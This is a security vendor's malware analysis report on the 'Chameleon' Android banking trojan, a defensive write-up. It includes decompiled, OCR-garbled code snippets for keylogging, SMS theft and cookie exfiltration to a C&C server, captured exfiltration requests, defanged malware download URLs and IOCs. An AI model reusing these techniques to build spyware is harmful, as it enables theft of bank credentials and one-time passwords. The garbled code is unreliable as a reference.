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CRIL analyzes the newly discovered Android Banking Trojan "Chameleon" targeting users from Australia and Poland.

Banking Trojan targeting mobile users in Australia and Poland

Cyble Research & Intelligence Labs (CRIL) has identified a novel Android Banking Trojan, which we are referring to as
“Chameleon,” based on the commands used by the malware primarily due to the fact that the malware appears to be a new
strain and seems unrelated to any known Trojan families. The Trojan has been active since January 2023 and is specifically

observed targeting users in Australia and Poland.

The Chameleon Banking Trojan utilizes the Accessibility Service to perform malicious activities like other Banking Trojans.
The malware pretends to be the popular cryptocurrency app CoinSpot, a government agency in Australia, and IKO bank

from Poland.
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In January 2023, the Trojan was observed using icons of different software, such as ChatGPT, Chrome, Bitcoin, etc., to

infect Android users, as illustrated in the image below.
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Figure 1 — Icons used by malware

Chameleon malicious applications are distributed through compromised websites, Discord attachments, and Bitbucket

hosting services. The following URLSs are known to be used for distributing the malware:

e hxxps://www[.]renatsoft.com[.]br/CoinSpot[.]apk

o hxxps://bitbucket[.]org/leaanner173/3/downloads/ATO.apk

e hxxps://cdn.discordapp[.]com/attachments/1056744010670145596/1057757995200696391/Crypto_Collector[.]apk
e hxxps://cdn.discordapp|.]com/attachments/1051452726615216201/1056574187218681936/LTC_GiveAway|.]apk
e hxxps://cdn[.]discordapp.com/attachments/1056744010670145596/1057757994584117338/BCH_Cash|[.]apk

o hxxps://bitbucket[.]org/emmoni1/download/downloads/AdultFriendFinderApp][.]apk

The Chameleon Banking Trojan has the following capabilities:

¢ Keylogging

¢ Opverlay attack

e SMS-harvesting
 Preventing uninstallation
¢ Cookie stealer

¢ Lock grabber

¢ Anti-emulation technique
¢ Auto-uninstallation

« Disabling Google Play Protect

The Chameleon Banking Trojan is currently in its early stages of development and has limited capabilities. Its primary
method of stealing users’ credentials is through injection and keylogging techniques. However, it is possible that new

features may be added to the malware in the future.
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This analysis focuses on a recently discovered malware sample called CoinSpot.apk, with the SHA-256 hash value of
153410238d01773e5c705c6d18955793bd61cb2e82c5c7656e74563bb43b3ffa.

The malware is disguised as a legitimate cryptocurrency application called CoinSpot from Australia and connects to a
Command and Control (C&C) server hxxp://146.70.41[.]143:7242/.

The image below displays the control panel of the Chameleon Banking Trojan.

&« c A 146.70.41.143

Sign in

SIGN IN

Figure 2 — Control Panel of Chameleon Banking Trojan
Technical Analysis

APK Metadata Information

¢ App Name: CoinSpot
¢ Package Name: com.top.omit

e SHA256 Hash: 153410238d01773e5c705c6d18955793bd61cb2e82c5¢c7656e74563bb43b3ffa

The below figure shows the metadata information of the application.

APP ICON % FILE INFORMATION 1APP INFORMATION
I CoinSpot.apk XD CoinSpot
o) B3 3.58M8 TR com.top.omit
Q (1) 3824022f901ebc2fal5a168a8dc5a20 [ Main Activity |
[IITY asafal9adaal0bl44387101a58e 71523351 4eeb PYS viin sox B Max 50K |
BT 153410238d01773e5¢705¢6d18955793bd61cb2e82c5¢ 76566 74563bb43b3ffa 21 1

Figure 3 — Application metadata information

The malware initially performs anti-emulation checks, including verifying whether the device is rooted or debugging is

activated. If the malware identifies any one of these emulation checks, it will terminate its execution.

The below figure shows the code used by malware for anti-emulation checks.
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d76 g a7 basodchac . T070b9ea0Basf c009

if fceazesseaggaedfsazmech1212339 fgdmshadc?f?aelsembzglﬁ ==

try {
ce42e65e8993edf5a231eb4c1212338.f9d765b8dc7f73915e01b2915 = new LocalServerSocket (ccd1741780ea3f 4641 Pccc3e756d78. mac34b3SFO648a

} catch | on unused) {

stem. eut"Ol H
}

}

ced2e6628993edf5a231ebac 121 2338, mE00945c68d699d9c9de7d () ;

if ((cc41741780ea3f 464 35ccc3e756d78. m297e40deBe1d1Bac2S44c () .getApplicationInfol) .flags & 2) 1= 0) {
System,exit(0);

}

if (Debug.isDebuggerconnected()) {
System.ex1t(0);

}

if (cedZe66e8993edfSa23lebdcl2f 2338, m5757c69596c29cdS7eb el ) ) {
ystem.exit(o);

}

1

Figure 4 — Anti-emulation checks

Upon identifying the targeted device, the Chameleon Banking Trojan requests the victim to activate the Accessibility
Service. Once the victim grants permission, the malware exploits the Accessibility Service to automatically grant

permissions, prevent uninstallation, disable Play Protect, and perform other malicious activities.
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Figure 5 — Abusing Accessibility Service
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Meanwhile, in the background, the malware connects to the C&C server hxxp://146.70.41].
[143:7242/api/v1/bots/a2dee0d3-9cle-elaa75fce-88c64b9a9de and sends the basic device information such as device

version, model, root status, county, and location as shown in the below image.

10 hp/i4E. 70411437247 POST  fapiiviibets/azdec0d3-gcle-elaadslce.. o 200 7 JSON 146, 7041143 411712 49 BOBO

I hipdf146.70.411437242 GET  lapiivlibotsiaddecOd3-Bele-rlaaTScr. 00 86 JsON 14670.41143 14411712 Ap... BOBD
2 hitpll46.70.411437242 POST  lapiiviibetsiaddecDd-Bele-elaatsice,., w0 W SON 1467041143 V4LIBIZA,. BOBO
B hps/fwwwosinspetcomau  GET  Jlagin 00 e HEm Buyamp: sell Bicain, 0 J 1042000283 _csifarE3bPR0LL., 14412124, BOBO
M hip GET  fap Ja2decOds-cle-elaaTsicn 00 86 JsON 146 70.41143 144123124, 60RO
P £ET ikl et min i 320 . 08 aciey eonim - WIEFPPER e waaena soen

Request Response

Bl » = oo R w =
1 POST japi/vl/bots/s2desOdd-Ocle-elan?Sfce-BBc64b0a0de MTTP/L.1 L MITR/L.1 200 OK
2 User-Agent: Mozilla/s.o 2 X-Pawered-By: Express

Accept -Language : UTF-8 Access-Control-Allow-Origin: *

4 Content-Type: application/x-www-form-urlencoded 4 Access-Control-Allew-Headers: *
5 Hogt: 146.70.41.143: 7242 Content -Type: application/jsen; charseteutf-B
6 Connection: close Content -Length: 45

Accept -Bncoding: gzip, deflate ETag: W/"2d-Vd]k2eUs0aulI0Se0f 1pCAYNG20"

Content -Length: 289 5 Cate: Wed. 12 Ar 2023 18:41:19 GMT
] Conmection: close
10 ddatam
T Z2uL 0NN 223 e 8043 el e -alanT5Fce - BECEADTRGIRY

20 Z2count ryR2ZVIR2USNIT I 2T ecat _ 11

{
10 228 3A% 224228 308 225 k% 22 344 22And ro d+ 94 SDK+ 280 2 nyact 1oneGoog] 122,20k 22veraian 28322 “status”: " 0354026 5654555843791 enbda0fad {68

2.1%220 204 22rout N 22 34t rueh 204 22t agh 224 3 22d0br oA 27D

Figure 6 — Malware sending the basic device information

Cookie Stealer:

After sending the basic device information, the malware opens the legitimate CoinSpot URL https://www.coinspot.com.au in
a WebView, but in the background, it silently steals the cookies of the loaded URL and sends them to the server using the
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‘cookies’ command.

w MtpT146.70.41.14 7242 POST T5fee. L 200 292 JsoN 146.70.41143 DEADITILA.. SOBD
Request Response
wretry [ Hex = B e B e m =
1 POST /api/v]/bots/s2dee0d3-Ocle-elan7Stee -BBcE4boa0de lag HTTP/L.1 L HITR/L.1 200 0
User-Agent: Mozilla/5.0 2 X-Powered-8y: Express
3 hocept-Languge | UTF-8 3 Access-Control-Allow-Origin: *
4 Content-Type: application/x-wew-fors-urlencoded 4 Access-Control-Allow-Headers: *
S Hast: 146.70.41,143 7242 5 Content-Type: mpplication/ison: charset=utf-8
Connection: close & Content-Length: 20
7 Accept-Encoding: gzip, deflate 7 ETag: W/*14-YS3wuE/mebSikKeT ual LINESU”
8 Content-Length: 213 6 Date: Tue, 11 Apr 2023 10:40:29 GMT
; ) Connection: clase
10 tdate= 1
4 7B 2Zronmandt 274 34% 22000k 5% 224 205 22resul 13 275 AL 22T 1 Pt SAVECH2FLECL 2Pu . COLNEPOT . Com. BUASCHIFl agine -4 3Ee_csrf 11 {
A 30MZBCTEATZ- LKKQFDudDTFMULY 36+ C5uas SOMTYAMT TwOTTSOTESNAN 30% 308 220 204 22t y0eh 203NN 221 OR ZN T “status*: “success®
]

Figure 7 — Malware stealing cookie for URLs loaded into WebView
The malware uses the below URL pattern to communicate with its C&C server for performing different malicious activities:

 /task — malware sends a GET request and can receive a command in response to execute malicious tasks
 /log — malware sends stolen data from the victim’s device

« /statistic — malware sends accessibility log

Keylogger:

The malware has incorporated keylogging capabilities by exploiting the Accessibility Service. The malware monitors and
captures the keystrokes using the functions editLog() and writeLog(), and subsequently saves the keylogs in a database along

with the application package name. The keylogs are later sent to the C&C server via the sendkeylogs() method.

The process is illustrated in the image below.

num) {

public fimal wvoid|writeloglString str, String str2, Integer
ccdl741780ea3 o aInTable(2, new c218f8%aeatbccaaSazbadec]73dc16(ccdl741780ea3f 4641 35ccc3e756d78. moc3
sendkeylogs(str, str2, num.toString());

}

public final vnid editlog(string str, boolean z) {

Cursor mEB54al '69547d9alae5 = mEB64e08B769547d%alaes () ;

if (me864e088769547d9alaes | = null) {
int parseInt = Int .parselnt (mE8542088769547d9alae5, getString [ mE8642088769547d9alae5. getColunnIndex (cc41741780ea3f 464f 35ccc32756d78, mac34b3s
string valueof . valueof (n5B64e088769547d9alae5, getString (MEB64e088769547d9alae5. getColunnIndex (cc41741780ea3f 464f 35ccc3e756d78, mOc3db3s
int parsaInt2 r.parselnt (mE964e0B8769547d9alaes. getString (ME864:088769547d9a 1aes. getColumnl ndex (ce41741780ea3f 464f 35cce3e756d78. mOc34b3
string string = mG864e088769547d%alaeS. getString (mE864e088769547d%alaes. getColumnIndex (cc4l741780ea3f 464f 35ccc3e756d 78, moc34b351 9648ae5481e77 (n
if (z)

str = c9flabfafseb6fegazfd76ac606fef f$cee1632d4eS0c 6doea 7851 4af S0305a. mdd693bef 2ccadfessballlstring, strl;

}
ccd41741780ea3f 464f 35ccc3e756d78. mSd6e473136f 9ae577beof () .updatebatal2, parselnt, new c218f@9aeadbccaaSazbadecl73dclé(ccdl741780ea3f 464 35ccc3e?

Sendkeylogs | valueDl, sir, SLrin0.valuedT parselnta) ;|
EmﬁESdeOBa?EQSd?igalaeS‘close[?: L

¥
¥

public final ni{ sendKeylegs(String str, String str2, String str3) { I
if | 72T T 20 2 et reradrrtequets (“socket" }) {
JSONObject jSONDbject = new JSONObject();
try {

© mobd9l8e4d377dd28ea0aa = cdlafazeas0fddofe31737abaacbbes. mobdol8e4d377dd28ee0aa (cd2fc5d09e527c 1a91114ch459dch4e . f83209a3a4a21d377a3:
if (mobdolBedd377dd2Beedaa. equals("clicked") &4 str3.equals(1"]) {
Cursor mG5864e088769547d9alaeS = mEB64e088769547d9alaeS();
if (mE8642088769547d9alaes 1= null) {
String string = mEB64e088769547d9alaes. getString (ME8642088769547d9alaes. getColumnindex (ccal741780ea3f 464f 35ccc3e756d78. moc 34b35f o6
if (!string.equals(fsafesdbfascBdcesdbc2dana)) {
150NOb) ect. put (cc41741780ea3f 464f F5cccIe7S56d78. mOc34b35f 9648ae5481e77 (new byte(]{-109, 80, 121, -5, -118, 94, 23, -87, 77, -6,
JSOMOb) ect. put (cc41741780ea3f 464f 3Sccc3e756d78. mOc34b35f 964825481277 (new byte[1{-o9, -98, 28, -67, -82, 01, -83, -B2, -39, -1C
jsonobject.put(ecdl741780ea3f 464f 35cce3e756d78 . mOc34b35f 964Bae5481e77 (new byte[l{66, -103, 74, -10, 28, -101, 18, 48, -10, 115,
150N0bj ect. put (cc41741780ea3f 464f 35ccc3e756d78 . mOc34b35f 9648ae5481e77 (new byte[]{5, -11, -43, -109, 58, 100, 77, 78, 54, 112, ¢
HashMap hashMap = mew HashMap(];
hashMap . put (cc41741780ea3f 464f 35ccc3e 756d78. m9c 34b35 964822548177 (new byte[]{-45, 45, 1, 88, 67, 110, 97, 14, 60, -63, 0, 25,
hashMap . put (cc41741780ea3f 464f 35cce3e 756478, moc34b35f 0648aes481e77 (new byte[1{113, -16, 120, -80, 93, 108, 69, 106, 82, 30, -8
ce595569e 1772753d7206f cobcB8685 . mf 2aa7ef 8f 99318566e5ed (hashMap) ;
faafesdbf aécBac86dbe2d30a = string;

}

mEBE42088769547d9alaes. close()
}

} else if (mObd918edd377dd28eeDaa.equalsitall*)] {

JSONOb) ect. put (cc41741780ea3f 464f 35ccc3e756d78. mIc34b35f 96482548177 (new byte[](-109, 80, 121, -5, -118, 94, 23, -87, 77, -6, 29, 46,
]SONObject. put (cc41741780ea3f 464f 35ccc3e756d78. mOc34b35f 964Baes481e77 (new byte[]{-o9, -98, 28, -67, -82, 91, -83, -8B2, -39, -109, -96,
Jsonobject. put (ccd1741780ea3f 464f 35ccc3e756d78, moc34b3sf o648aes481e77 (new byte[l{66, -103, 74, -10, 28, -101, 18, 48, -10, 115, -50, 21
JS0MOb) ect. put(ccdl741780ea3f 464f I5ccc3e756d78. mOc34b3Sf 0648ae5481e77 (new byte[]{S, -11, -43, -109, S8, 100, 77, 78, sS4, 112, &7, 38, -
HashMap hashMap2 = new HashMap();
hashMap2. put (cc41741780ea3f 464f 35ccc3e756d78. m9c34b3Sf 964Bae5481e77 (new bytel]{-4s, 45, 1, 88, 67, 110, 97, 14, 60, -63, 0, 25, 28, -1:
hashMap2. put (cc41741780ea3f 464f 35ccc3e756d78. moc 34b35f 9648ae5481e77 (new byte[1{113, -16, 120, -80, 93, 106, 69, 106, B2, 30, -87, 52, -
€e595569e1772753d72061 cobeB868S . mf 2aa7e18f9931856625ed (hashMapz) ;

}

} catch (JSOMException e) {
e.printStackTrace();

}

Figure 8— Malware sending keay logs
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Injection:

The malware monitors the accessibility event and checks if the “injection” variable is set to “True.” Once this variable is
found to be “True”, the malware calls upon the inject() function, which cross-checks the application’s package name against

a list of targeted applications stored in a local database. If a match is found, the malware proceeds with the injection.

(eventType == 32 && cof labfafsebefeoazfd76acensfef f $ceel632d4e50c6d0ea78514af S03054. mdd6o3bet 2cc6dfessball (cd2fc5d00e527c1a91114cbas9dchdc . 1njection, F e |
cOBeabeefacS4c336abecc052558212. 1nject (accessibilityEvent) ;

publie final veid inject({AccessibilityEvent accessibilityEvent] {

if (accessibilityEvent.getContentchangeTypes() = 0) {
return;

}

if l(accessibilityEvent.getClassName (] |= null &6 cd33418a7661babfaf 2fdafo2b3562h . mfodbb2550b420a5d4982d (accessabilityEvent.getClassName (). toStrang(]]] {
cc41741780ea3f 464f 35ccc 38756478, m297e40de8c 1d18ac2544c () . startActivity (new Intent(cc41741780ea3f 4641 35ccc3e756d78. m297e40deBe1d18ac2544¢ (), cd33418af6E

} else if (accessibilityEvent.getPackageName() |= null &6 cd33418a7661bdbfef2fdafozb3sezb. mfedbb2550b4a0a5d4982d (accessibilityEvent.getPackageName () . toSkrl
ccd41741780ea3f 454f 35ccc 36756478 . m297e40deBc 1d18ac 2544c () . startActivity(new Intent(ccd1741780ea3f 464f 35ccc3e756d78, m297e40deBe1d18ac2544c ), cd33418af66

Figure 9 — Starting injection activity

The injection is a process of creating an overlay on the targeted application by downloading HTML phishing pages from the
C&C server. The malware carries out validation to determine if the HTML phishing page for the targeted application has

already been stored in a database.

If the page is absent, the malware downloads it from the C&C server and stores it in a database. Once the download process

is finished, the malware loads the injection into a WebView, as demonstrated in the provided image.

Figure 10 — Downloading HTML Phishing pages

Page 6 of 11



https://cyble.com /blog/chameleon-a-new-android-malware-spotted-in-the-wild/

Figure 11 — Creating an overlay window on the targeted application

Lock Grabber:

By exploiting the Accessibility Service, the malware can steal the victim’s device password. First, it identifies the type of
lock being used — whether it is a password, PIN, or even swipe pattern, and then saves the entered credentials into the

database with the lock_grabber command.

Figure 13 — Storing stolen device password into a database

SMS Stealer:
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The malware has registered an SMSBroadcast Receiver to monitor incoming text messages from the victim’s device and
send the stolen messages to the C&C server. The attacker can harvest the stolen messages later to obtain One-Time

Passwords (OTP) and bypass the Two-Factor Authentication (2FA) system employed by the bank.

public final void onReceive(Context context, Intent intent) {
if (intent.getAction().equalsIgnoreCase(®android.provider.Telephony.SMS_RECEIVED"))
Bundle extras = intent.getExtras();
Jsoncbject jsonObject = new Jsonobject(];

byte b = 21;
if (extras != null && extras.containsKey(*pdus*)) {
try {
tl] ebjarr = ( t[1] extras. ge('Ccﬂl?ﬂl?ﬁuee?f46ﬂf35ccc3€756d73 moc34b35f 9648ae5481e77 (new byte[l{-70, 22, 123, -85, 0, lo06, -39,
if (ebjaArr 1= null && objArr.length == 1) {
int 1 = 0;
while (i < objarr.length) {
Sm sage createFrode Snshessage createFrode (] (B}] ab]Arr[l] H
yte[1{-24, 113, 99, -107, b, 18, -124, -58, 81, -15, 9,
]SONObJect putl ccﬂl?dl?%sagfltsdf35ccc35756d78 m9(34b35f96d85&548]e?? new byte[]{-42, -99, -1, -122, -96, -5, -7, 26, -16, -1l11, &
4]
b= 21;
¥
¥
| str = :d?fchDQeS??claDllldcdeQdcbdc.fﬁQ‘SfSOdleb?ﬂQﬁ:beﬁ?ﬂbD]:
ar bool =E JTRUE;
if (= .parseBoolean( 1ng.valueof (cdlafazeasofdaofe31737abaasbbee . mobdo18ead377dd28ee0aa(str, baol)))) {
1{ -ceandnssenasuagmdh?nasaazaaeb m218db645a72f137033e7b () ) {
try {
jp hashMap = new HashMap();
hashr"lap put(ccal741780ea3f 4641 IBccc2e756d78. moc34b35f 5648ae5481e77 (new byte[]{86, -103, 74, -1, 28, -1l0l, 18, 48, -10, 115,
hashMap.put(cc41741780ea3f 4641 35ccc3e756d78. mOc34b35f 0648ae5481e77 (new byte[]{113, -16, 120, -80, 93, 106, 69, 106, 82, 30, -8
hashMap. put (cc41741780ea3f 464f 35ccc3e756d78. m9c 34b35f 9648ae5481e77 (new byte[]{-100, 0, 87, -52, -58, -12, 97, 68, 56, -52, -1L
bash T oA TA L T a it agat S5 e PSEATE mo ik 3Ef d@laZZinew byte[]{-45, 45, 1, 88, &7, 110, 97, 14, 60, -63, 0, 25,
ceSe5569 1772753d7206f cSbe8868S. mf 2aa7ef 81 9931856685ed (hashMap ) ;
Tatch—t = oTosed Tt
cc41741780ea3f 464f 35ccc3e756d78. mSd6e473136f 9aeS7fbeof () . addDatalnTable (0, new c218f8SacasbccaaSazbadec173dc16(cca1741780a3f 4
} else {
ccd41741780ea3f 464f 35ccc3e756d78. M5d6e473136f Sae57fbeof (| . addDatalnTable (0, new c218f8%acasbccaaSazbadec173dc16(cca1741780ea3f 4643
¥

Figure 14 — Malware stealing incoming SMSs

The Chameleon Banking Trojan utilizes shared preference variables such as “is_chameleon,” “app_chameleon”, and

app_chameleon_name” for auto-uninstallation and preventing uninstallation of the malware. Based on the usage of this
shared preference variable, the malware is dubbed as “Chameleon Banking Trojan”.

The code displayed in the image below uses the Accessibility Service to identify whether the victim is performing any
actions associated with uninstallation, implying that the victim may have suspicions that the installed app is harmful. If such

activity is identified, the malware examines the values saved in the shared preference variable and uninstalls itself from the
device to erase any evidence of its existence.

(accessibalityEvent.getclassName() != null) {
t charSequenceS = accessibilityEvent.getClassName() . toString();

if ((charsequenced.contains("packageinstaller) || charssquenced.contains("miui®)) && ((charsequenceS.contains("uUninstalleractivity® | eharsequences.contain:
ccA1741780ea3f 4641 35ccc3e 756d78. f 3c62f 48f fobaeaf 3a1b561d]1 . performBackClick (] ;

if (ceando86e03504e78db77936462442b . m12a6436daa0nal470chef1()]) {

ng valueof = . valueof (cdlaf azedsofdaofe31737abaacbbee . mobd918e4d377dd2Beenaa [ cd2f cSd09e527c1a01114ch4Sadcbac . app_chameleon, boolz-:-;l
1t [1E in.parsedoo Lean (valueOt]] 1
try

l ccd41741780ea3f 4641 35ccc3e756d78. m297e40deBc 1d18ac2544c () . startActivity (new Intent (" android.intent.action.DELETE®, Url .patse‘c:4174L7EloeaBF4F4f'
b it

}
1
1

Figure 15 — Malware auto-uninstallation code

The malware contains an unused feature that enables it to download a payload during runtime. The code snippet shown in
the image illustrates how the malware downloads the payload and saves it as a “.jar” file. Later, the code uses
DexClassLoader to execute the payload.

Figure 16 — Downloading runtime module
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Conclusion

Based on our analysis, Chameleon Banking Trojan can pose a threat to Android users. The malware has been operational

since January 2023 and currently possesses the basic functionalities of a Banking Trojan.

However, there is a potential for malware to introduce new and more sophisticated features in the future, which could
expand its target base beyond its current scope. If such features are introduced, it could potentially make Chameleon

Banking Trojan a significant threat and put it in the same category as prominent and prevalent Banking Trojans.

Cyble Research & Intelligence Lab (CRIL) will continue to monitor the evolution of this malware and keep our readers

updated with our latest findings.

Our Recommendations

We have listed some essential cybersecurity best practices that create the first line of control against attackers. We

recommend that our readers follow the best practices given below:

¢ Download and install software only from official app stores like Google Play Store or the Apple App Store.

» Use a reputed antivirus and internet security software package on your connected devices, such as PCs, laptops, and
mobile devices.

¢ Never share your Card Details, CVV number, Card PIN, and Net Banking Credentials on an untrusted source.

¢ Use strong passwords and enforce Multi-Factor Authentication wherever possible.

¢ Enable biometric security features such as fingerprint or facial recognition to unlock the mobile device whereever
possible.

e Be wary of opening any links received via SMS or emails delivered to your phone.

 Ensure that Google Play Protect is enabled on Android devices.

¢ Be careful while enabling any permissions.

» Keep your devices, operating systems, and applications up to date with the latest software.

MITRE ATT&CK® Techniques

Tactic Technique ID Technique Name

Initial Access T1476 Deliver Malicious App via Other Means.
Initial Access T1444 Masquerade as a Legitimate Application
Collection T1517 Access Notifications

Collection T1409 Access Stored Application Data
Discovery T1418 Application Discovery

Persistence T1402 Broadcast Receivers

Collection T1412 Capture SMS Messages

Impact Ti1510 Clipboard Modification

Defense Evasion T1523 Evade Analysis Environment
Collection T1417 Input Capture

Page 9 of 11


https://cyble.com/knowledge-hub/cybersecurity/
https://attack.mitre.org/versions/v7/techniques/T1476/
https://attack.mitre.org/versions/v10/techniques/T1444/
https://attack.mitre.org/versions/v10/techniques/T1517/
https://attack.mitre.org/versions/v10/techniques/T1409/
https://attack.mitre.org/versions/v10/techniques/T1418
https://attack.mitre.org/versions/v10/techniques/T1402
https://attack.mitre.org/versions/v10/techniques/T1412
https://attack.mitre.org/versions/v10/techniques/T1510
https://attack.mitre.org/versions/v10/techniques/T1523
https://attack.mitre.org/versions/v10/techniques/T1417

https://cyble.com /blog/chameleon-a-new-android-malware-spotted-in-the-wild/

Defense Evasion T1406 Obfuscated Files or Information
Defense Evasion T1508 Suppress Application Icon

Defense Evasion T1576 Uninstall Malicious Application

Indicators of Compromise (I0Cs)

. Indicator L.
Indicators Description
Type
SHA256
153410238d01773e5c705c6d18955793bd61cb2e82¢5¢7656e74563bb43b3ffa CoinSpot.apk
a8afal9ad4aa30b144387101a58e7f52335f24eeb SHA1 CoinSpot.apk
382e4022f901ebc2fal5a168a8dc5a20 MD5 CoinSpot.apk
hxxp://146.70.41[.[143:7242 URL C&C server
SHA256
be125a98ba01f1bd318271b5de8114dal139e5f78449ab3eb69c5aa4934026aed Crypto_Collector.apk
4efe3b31836f9a319a8ad9fcfe1f0502b94a8c8f SHA1 Crypto_Collector.apk
8cc3a9caed337dca0db40fb02db40fd9 MD5 Crypto_Collector.apk
SHA256
cb507f6a2406274b56150f56bb7ef7cfd88f79600768f25b4a7d5441ec987835 IKO.apk
26f9e235d2460d453671dfe96cc559e0cfcc159a SHA1 IKO.apk
36b8c9f74c5fc5clc4eaeld6efadab37 MD5 IKO.apk
SHA256
55884b3b0018b42e500c8ca427d8ae3b3174d9efca5aa57b34eb9202cb84913a ATO.apk
53d25f56db36e0f1bd802209d6b745e2e9e9e8ef SHA1 ATO.apk
15243aal2a4e37db66278c16b50ee60d MD5 ATO.apk
Chameleon
SHA256
141e37754fa555e45eabe99ee7c854ab2d9f8b8ad89a73376£f72c703602e3d17 masquerading as
ChatGPT
Chameleon
7¢7261c6c046410af097ddb4ada7007ada78d51e SHA1 masquerading as
ChatGPT
Chameleon
2b33d114fb8f3bd7065b46889afc1c44 MD5 masquerading as

ChatGPT
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60b0e7e09fe91aa785b85315aad3850e7f47f70a5aab7ae9ef31ad1c50477£55

59c6ef85e25b688d8000e697ad2f3£7420dc7820

b8019c6df196812517c445£802143d08

ef0785dcdfedfff99dc79bd89f1d1c2b207e67cb8fe6940127dd655ec202a770

169bac058fe715dcee0625fe7e¢968396423800c9

9f2b9c10e2d24e15da443d3c607edcOf

Source: https://cyble.com/blog/chameleon-a-new-android-malware-spotted-in-the-wild/
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SHA256

SHA1

MD5

BCH_Cash.apk

BCH_Cash.apk

BCH_Cash.apk

LTC_GiveAway.apk

LTC_GiveAway.apk

LTC_GiveAway.apk



